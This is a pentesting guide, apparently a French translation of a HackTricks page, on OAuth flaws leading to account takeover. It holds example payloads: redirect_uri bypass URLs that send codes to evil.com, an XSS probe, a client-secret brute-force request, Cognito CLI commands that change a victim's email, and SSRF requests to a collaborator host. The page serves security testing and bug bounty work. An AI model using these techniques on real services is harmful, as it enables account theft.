hacktricks/pentesting-web/oauth-to-account-takeover.md
2023-06-03 13:10:46 +00:00

27 KiB

OAuth vers la prise de contrôle de compte

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Informations de base

Il existe plusieurs versions d'OAuth, vous pouvez lire https://oauth.net/2/ pour avoir une compréhension de base.

Dans cet article, nous nous concentrerons sur le flux le plus courant que vous rencontrerez aujourd'hui, qui est le type de subvention de code d'autorisation OAuth 2.0. En substance, OAuth fournit aux développeurs un mécanisme d'autorisation pour permettre à une application d'accéder à des données ou d'effectuer certaines actions contre votre compte, à partir d'une autre application (le serveur d'autorisation).

Par exemple, supposons que le site web https://yourtweetreader.com ait une fonctionnalité pour afficher tous les tweets que vous avez jamais envoyés, y compris les tweets privés. Pour ce faire, OAuth 2.0 est introduit. https://yourtweetreader.com vous demandera d'autoriser leur application Twitter à accéder à tous vos tweets. Une page de consentement apparaîtra sur https://twitter.com affichant les autorisations demandées, et qui est le développeur qui le demande. Une fois que vous avez autorisé la demande, https://yourtweetreader.com sera en mesure d'accéder à vos tweets en votre nom.

Les éléments importants à comprendre dans un contexte OAuth 2.0 :

  • propriétaire de la ressource : Le propriétaire de la ressource est l'utilisateur/entité accordant l'accès à sa ressource protégée, telle que ses tweets de compte Twitter. Dans cet exemple, ce serait vous.
  • serveur de ressources : Le serveur de ressources est le serveur qui gère les demandes authentifiées après que l'application a obtenu un jeton d'accès au nom du propriétaire de la ressource. Dans cet exemple, ce serait https://twitter.com
  • application cliente : L'application cliente est l'application qui demande l'autorisation du propriétaire de la ressource. Dans cet exemple, ce serait https://yourtweetreader.com.
  • serveur d'autorisation : Le serveur d'autorisation est le serveur qui émet des jetons d'accès à l'application cliente après avoir authentifié avec succès le propriétaire de la ressource et obtenu l'autorisation. Dans l'exemple ci-dessus, ce serait https://twitter.com
  • client_id : Le client_id est l'identifiant de l'application. Il s'agit d'un identifiant unique public, non secret.
  • client_secret : Le client_secret est un secret connu uniquement de l'application et du serveur d'autorisation. Cela est utilisé pour générer des jetons d'accès.
  • response_type : Le response_type est une valeur pour détailler quel type de jeton est demandé, tel que code
  • scope : Le scope est le niveau d'accès demandé que l'application cliente demande du propriétaire de la ressource
  • redirect_uri : Le redirect_uri est l'URL vers laquelle l'utilisateur est redirigé après la fin de l'autorisation. Cela doit généralement correspondre à l'URL de redirection que vous avez précédemment enregistrée auprès du service
  • state : Le paramètre state peut persister les données entre la redirection de l'utilisateur vers le serveur d'autorisation et le retour. Il est important que cela soit une valeur unique car il sert de mécanisme de protection CSRF s'il contient une valeur unique ou aléatoire par demande
  • grant_type : Le paramètre grant_type explique quel est le type de subvention, et quel jeton va être retourné
  • code : Ce code est le code d'autorisation reçu du serveur d'autorisation qui sera dans le paramètre de chaîne de requête "code" dans cette demande. Ce code est utilisé conjointement avec le client_id et le client_secret par l'application cliente pour récupérer un jeton d'accès
  • access_token : Le access_token est le jeton que l'application cliente utilise pour effectuer des demandes API au nom d'un propriétaire de la ressource
  • refresh_token : Le refresh_token permet à une application d'obtenir un nouveau jeton d'accès sans demander à l'utilisateur

Exemple réel

En mettant tout cela ensemble, voici à quoi ressemble un flux OAuth réel :

  1. Vous visitez https://yourtweetreader.com et cliquez sur le bouton "Intégrer avec Twitter".
  2. https://yourtweetreader.com envoie une demande à https://twitter.com vous demandant, le propriétaire de la ressource, d'autoriser l'application Twitter de https://yourtweetreader.com à accéder à vos tweets. La demande ressemblera à :
https://twitter.com/auth
 ?response_type=code
 &client_id=yourtweetreader_clientId
 &redirect_uri=https%3A%2F%2Fyourtweetreader.com%2Fcallback
 &scope=readTweets
 &state=kasodk9d1jd992k9klaskdh123

3. Vous serez invité à une page de consentement :

4. Une fois accepté, Twitter enverra une demande de retour à l'redirect_uri avec les paramètres code et state:

https://yourtweetreader.com?code=asd91j3jd91j92j1j9d1&state=kasodk9d1jd992k9klaskdh123

5. Ensuite, https://yourtweetreader.com prendra ce code et, en utilisant l'client_id et le client_secret de leur application, fera une demande depuis le serveur pour récupérer un access_token en votre nom, ce qui leur permettra d'accéder aux autorisations auxquelles vous avez consenti :

POST /oauth/access_token
Host: twitter.com
...{"client_id": "yourtweetreader_clientId", "client_secret": "yourtweetreader_clientSecret", "code": "asd91j3jd91j92j1j9d1", "grant_type": "authorization_code"}

6. Enfin, le flux est complet et https://yourtweetreader.com fera un appel API à Twitter avec votre access_token pour accéder à vos Tweets.

Découvertes de Bug Bounty

Maintenant, la partie intéressante ! Il y a de nombreuses choses qui peuvent mal tourner dans une implémentation OAuth, voici les différentes catégories de bugs que je vois fréquemment :

Configuration de redirect_uri faible

Le redirect_uri est très important car des données sensibles, telles que le code, sont ajoutées à cette URL après l'autorisation. Si le redirect_uri peut être redirigé vers un serveur contrôlé par un attaquant, cela signifie que l'attaquant peut potentiellement prendre le contrôle du compte d'une victime en utilisant le code lui-même et en accédant aux données de la victime.

La façon dont cela va être exploité va varier en fonction du serveur d'autorisation. Certains n'accepteront que le même chemin exact de redirect_uri spécifié dans l'application cliente, mais certains accepteront n'importe quoi dans le même domaine ou sous-répertoire de redirect_uri.

En fonction de la logique gérée par le serveur, il existe plusieurs techniques pour contourner un redirect_uri. Dans une situation où un redirect_uri est https://yourtweetreader.com/callback, celles-ci incluent :

  • Redirections ouvertes : https://yourtweetreader.com/callback?redirectUrl=https://evil.com
  • Traversée de chemin : https://yourtweetreader.com/callback/../redirect?url=https://evil.com
  • Regexes de redirect_uri faibles : https://yourtweetreader.com.evil.com
  • Injection HTML et vol de jetons via l'en-tête referer : https://yourtweetreader.com/callback/home/attackerimg.jpg

D'autres paramètres qui peuvent être vulnérables aux redirections ouvertes sont :

  • client_uri - URL de la page d'accueil de l'application cliente
  • policy_uri - URL que l'application cliente Relying Party fournit afin que l'utilisateur final puisse lire comment ses données de profil seront utilisées.
  • tos_uri - URL que le client Relying Party fournit afin que l'utilisateur final puisse lire les conditions d'utilisation de la Relying Party.
  • initiate_login_uri - URI utilisant le schéma https qu'un tiers peut utiliser pour initier une connexion par le RP. Doit également être utilisé pour la redirection côté client.

Tous ces paramètres sont optionnels selon les spécifications OAuth et OpenID et ne sont pas toujours pris en charge sur un serveur particulier, il est donc toujours utile d'identifier quels paramètres sont pris en charge sur votre serveur.

Si vous ciblez un serveur OpenID, le point de découverte à **.well-known/openid-configuration** contient parfois des paramètres tels que "registration_endpoint", "request_uri_parameter_supported", et "require_request_uri_registration". Cela peut vous aider à trouver le point de terminaison d'enregistrement et d'autres valeurs de configuration de serveur.

XSS dans l'implémentation de redirection

Comme mentionné dans ce rapport de bug bounty https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html, il est possible que l'URL de redirection soit reflétée dans la réponse du serveur après l'authentification de l'utilisateur, étant vulnérable à XSS. Charge utile possible à tester :

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

CSRF - Mauvaise gestion du paramètre d'état

Très souvent, le paramètre state est complètement omis ou utilisé de manière incorrecte. Si un paramètre d'état est inexistant, ou une valeur statique qui ne change jamais, le flux OAuth sera très probablement vulnérable aux attaques CSRF. Parfois, même s'il y a un paramètre state, l'application pourrait ne pas valider le paramètre et une attaque réussira. La façon d'exploiter cela serait de passer par le processus d'autorisation sur votre propre compte, et de faire une pause juste après l'autorisation. Vous rencontrerez alors une demande telle que:

https://yourtweetreader.com?code=asd91j3jd91j92j1j9d1

Une fois que vous avez reçu cette demande, vous pouvez abandonner la demande car ces codes sont généralement à usage unique. Vous pouvez ensuite envoyer cette URL à un utilisateur connecté, et cela ajoutera votre compte à leur compte. Au début, cela peut ne pas sembler très sensible car vous ajoutez simplement votre compte au compte d'une victime. Cependant, de nombreuses implémentations OAuth sont destinées à des fins de connexion, donc si vous pouvez ajouter votre compte Google qui est utilisé pour vous connecter, vous pourriez potentiellement effectuer une prise de contrôle de compte en un seul clic, car vous connecter avec votre compte Google vous donnerait accès au compte de la victime.

Vous pouvez trouver un exemple à ce sujet dans ce write-up CTF et dans la boîte HTB appelée Oouch.

J'ai également vu le paramètre d'état utilisé comme une valeur de redirection supplémentaire plusieurs fois. L'application utilisera redirect_uri pour la redirection initiale, mais ensuite le paramètre state comme une deuxième redirection qui pourrait contenir le code dans les paramètres de requête, ou le header referer.

Une chose importante à noter est que cela ne s'applique pas seulement aux situations de connexion et de prise de contrôle de compte. J'ai vu des erreurs de configuration dans :

  • Les intégrations Slack permettant à un attaquant d'ajouter son compte Slack en tant que destinataire de toutes les notifications/messages
  • Les intégrations Stripe permettant à un attaquant de remplacer les informations de paiement et d'accepter des paiements des clients de la victime
  • Les intégrations PayPal permettant à un attaquant d'ajouter son compte PayPal au compte de la victime, ce qui déposerait de l'argent sur le compte PayPal de l'attaquant

Pré-prise de contrôle de compte

L'un des autres problèmes les plus courants que je vois est lorsque les applications permettent de "Se connecter avec X" mais aussi un nom d'utilisateur/mot de passe. Il y a 2 façons différentes d'attaquer cela :

  1. Si l'application ne nécessite pas de vérification d'e-mail lors de la création de compte, essayez de créer un compte avec l'adresse e-mail de la victime et un mot de passe d'attaquant avant que la victime ne se soit inscrite. Si la victime essaie ensuite de s'inscrire ou de se connecter avec un tiers, comme Google, il est possible que l'application fasse une recherche, voie que l'e-mail est déjà enregistré, puis lie leur compte Google au compte créé par l'attaquant. C'est une "prise de contrôle de compte préalable" où un attaquant aura accès au compte de la victime s'il l'a créé avant que la victime ne s'inscrive.
  2. Si une application OAuth ne nécessite pas de vérification d'e-mail, essayez de vous inscrire avec cette application OAuth avec l'adresse e-mail de la victime. Le même problème que ci-dessus pourrait exister, mais vous attaqueriez dans l'autre sens et accéderiez au compte de la victime pour une prise de contrôle de compte.

Divulgation de secrets

Il est très important de reconnaître lesquels des nombreux paramètres OAuth sont secrets, et de les protéger. Par exemple, divulguer le client_id est parfaitement acceptable et nécessaire, mais divulguer le client_secret est dangereux. Si cela est divulgué, l'attaquant peut potentiellement abuser de la confiance et de l'identité de l'application client de confiance pour voler les access_tokens des utilisateurs et les informations/accès privés pour leurs comptes intégrés. Revenons à notre exemple précédent, un problème que j'ai vu est de réaliser cette étape depuis le client, au lieu du serveur :

5. https://yourtweetreader.com prendra ensuite ce code, et en utilisant l'client_id et le client_secret de leur application, fera une demande depuis le serveur pour récupérer un access_token en votre nom, ce qui leur permettra d'accéder aux autorisations auxquelles vous avez consenti.

Si cela est fait depuis le client, le client_secret sera divulgué et les utilisateurs pourront générer des access_tokens au nom de l'application. Avec un peu d'ingénierie sociale, ils peuvent également ajouter plus de portées à l'autorisation OAuth et tout cela semblera légitime car la demande viendra de l'application client de confiance.

Bruteforce du secret client

Vous pouvez essayer de bruteforcer le secret client d'un fournisseur de services avec le fournisseur d'identité afin d'essayer de voler des comptes.
La demande de BF peut ressembler à :

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Fuite de l'en-tête Referer avec le code + l'état

Une fois que le client a le code et l'état, s'il est réfléchi dans l'en-tête Referer lorsqu'il navigue vers une autre page, alors il est vulnérable.

Jeton d'accès stocké dans l'historique du navigateur

Accédez à l'historique du navigateur et vérifiez si le jeton d'accès est enregistré.

Code d'autorisation éternel

Le code d'autorisation ne doit vivre que pendant un certain temps pour limiter la fenêtre de temps pendant laquelle un attaquant peut le voler et l'utiliser.

Jeton d'autorisation/rafraîchissement non lié au client

Si vous pouvez obtenir le code d'autorisation et l'utiliser avec un client différent, vous pouvez prendre le contrôle d'autres comptes.

Chemins heureux, XSS, Iframes et messages postaux pour divulguer les valeurs de code et d'état

AWS Cognito

Dans ce rapport de prime de bug: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/, vous pouvez voir que le jeton que AWS Cognito renvoie à l'utilisateur peut avoir suffisamment de permissions pour écraser les données utilisateur. Par conséquent, si vous pouvez changer l'e-mail de l'utilisateur pour un e-mail d'utilisateur différent, vous pourriez être en mesure de prendre le contrôle d'autres comptes.

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
    "CodeDeliveryDetailsList": [
        {
            "Destination": "i***@f***.com",
            "DeliveryMedium": "EMAIL",
            "AttributeName": "email"
        }
    ]
}

Pour plus d'informations détaillées sur la façon d'abuser d'AWS Cognito, consultez :

{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}

Paramètres SSRF

L'un des URL cachés que vous pourriez manquer est le point d'extrémité d'enregistrement de client dynamique. Afin d'authentifier avec succès les utilisateurs, les serveurs OAuth ont besoin de connaître les détails de l'application cliente, tels que le "client_name", "client_secret", "redirect_uris", et ainsi de suite. Ces détails peuvent être fournis via une configuration locale, mais les serveurs d'autorisation OAuth peuvent également avoir un point d'extrémité d'enregistrement spécial. Cet endpoint est normalement mappé sur "/register" et accepte des requêtes POST avec le format suivant :

POST /connect/register HTTP/1.1
Content-Type: application/json
Host: server.example.com
Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJ ...

{
 "application_type": "web",
 "redirect_uris": ["https://client.example.org/callback"],
 "client_name": "My Example",
 "logo_uri": "https://client.example.org/logo.png",
 "subject_type": "pairwise",
 "sector_identifier_uri": "https://example.org/rdrct_uris.json",
 "token_endpoint_auth_method": "client_secret_basic",
 "jwks_uri": "https://client.example.org/public_keys.jwks",
 "contacts": ["ve7jtb@example.org"],
 "request_uris": ["https://client.example.org/rf.txt"]
}

Il y a deux spécifications qui définissent les paramètres de cette requête: RFC7591 pour OAuth et Openid Connect Registration 1.0.

Comme vous pouvez le voir ici, un certain nombre de ces valeurs sont transmises via des références d'URL et ressemblent à des cibles potentielles pour Server Side Request Forgery. En même temps, la plupart des serveurs que nous avons testés ne résolvent pas immédiatement ces URL lorsqu'ils reçoivent une demande d'enregistrement. Au lieu de cela, ils enregistrent simplement ces paramètres et les utilisent plus tard pendant le flux d'autorisation OAuth. En d'autres termes, il s'agit plutôt d'une SSRF de deuxième ordre, ce qui rend la détection en boîte noire plus difficile.

Les paramètres suivants sont particulièrement intéressants pour les attaques SSRF:

  • logo_uri - URL qui fait référence à un logo pour l'application cliente. Après avoir enregistré un client, vous pouvez essayer d'appeler le point de terminaison d'autorisation OAuth ("/authorize") en utilisant votre nouveau "client_id". Après la connexion, le serveur vous demandera d'approuver la demande et peut afficher l'image de "logo_uri". Si le serveur récupère l'image par lui-même, la SSRF devrait être déclenchée à cette étape. Alternativement, le serveur peut simplement inclure le logo via une balise "<img>" côté client. Bien que cela ne conduise pas à une SSRF, cela peut conduire à une XSS si l'URL n'est pas échappée.

  • jwks_uri - URL pour le document JSON Web Key Set [JWK] du client. Ce jeu de clés est nécessaire sur le serveur pour valider les demandes signées effectuées vers le point de terminaison de jeton lors de l'utilisation de JWT pour l'authentification du client [RFC7523]. Pour tester la SSRF dans ce paramètre, enregistrez une nouvelle application cliente avec un "jwks_uri" malveillant, effectuez le processus d'autorisation pour obtenir un code d'autorisation pour n'importe quel utilisateur, puis récupérez le point de terminaison "/token" avec le corps suivant:

    POST /oauth/token HTTP/1.1
    ...
    ``
    grant_type=authorization_code&code=n0esc3NRze7LTCu7iYzS6a5acc3f0ogp4&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer&client_assertion=eyJhbGci...

    Si vulnérable, le serveur devrait effectuer une requête HTTP serveur à serveur vers le "jwks_uri" fourni car il a besoin de cette clé pour vérifier la validité du paramètre "client_assertion" dans votre demande. Ce sera probablement seulement une vulnérabilité SSRF aveugle cependant, car le serveur s'attend à une réponse JSON appropriée.

  • sector_identifier_uri - Cette URL fait référence à un fichier avec un seul tableau JSON de valeurs redirect_uri. Si pris en charge, le serveur peut récupérer cette valeur dès que vous soumettez la demande d'enregistrement dynamique. Si cela n'est pas récupéré immédiatement, essayez d'effectuer une autorisation pour ce client sur le serveur. Comme il doit connaître les redirect_uris pour terminer le flux d'autorisation, cela forcera le serveur à effectuer une demande à votre sector_identifier_uri malveillant.

  • request_uris - Un tableau des request_uris autorisées pour ce client. Le paramètre "request_uri" peut être pris en charge sur le point de terminaison d'autorisation pour fournir une URL qui contient un JWT avec les informations de demande (voir https://openid.net/specs/openid-connect-core-1_0.html#rfc.section.6.2).

    Même si l'enregistrement dynamique du client n'est pas activé, ou s'il nécessite une authentification, nous pouvons essayer de réaliser une SSRF sur le point de terminaison d'autorisation simplement en utilisant "request_uri":\

    GET /authorize?response_type=code%20id_token&client_id=sclient1&request_uri=https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt

    Note: ne confondez pas ce paramètre avec "redirect_uri". Le "redirect_uri" est utilisé pour la redirection après l'autorisation, tandis que "request_uri" est récupéré par le serveur au début du processus d'autorisation.

    En même temps, de nombreux serveurs que nous avons vus n'autorisent pas des valeurs "request_uri" arbitraires: ils n'autorisent que des URL figurant sur une liste blanche qui ont été pré-enregistrées lors du processus d'enregistrement du client. C'est pourquoi nous devons fournir "request_uris": "https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt" au préalable.

Conditions de course des fournisseurs OAuth

Si la plateforme que vous testez est un fournisseur OAuth, lisez ceci pour tester les conditions de course possibles.

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥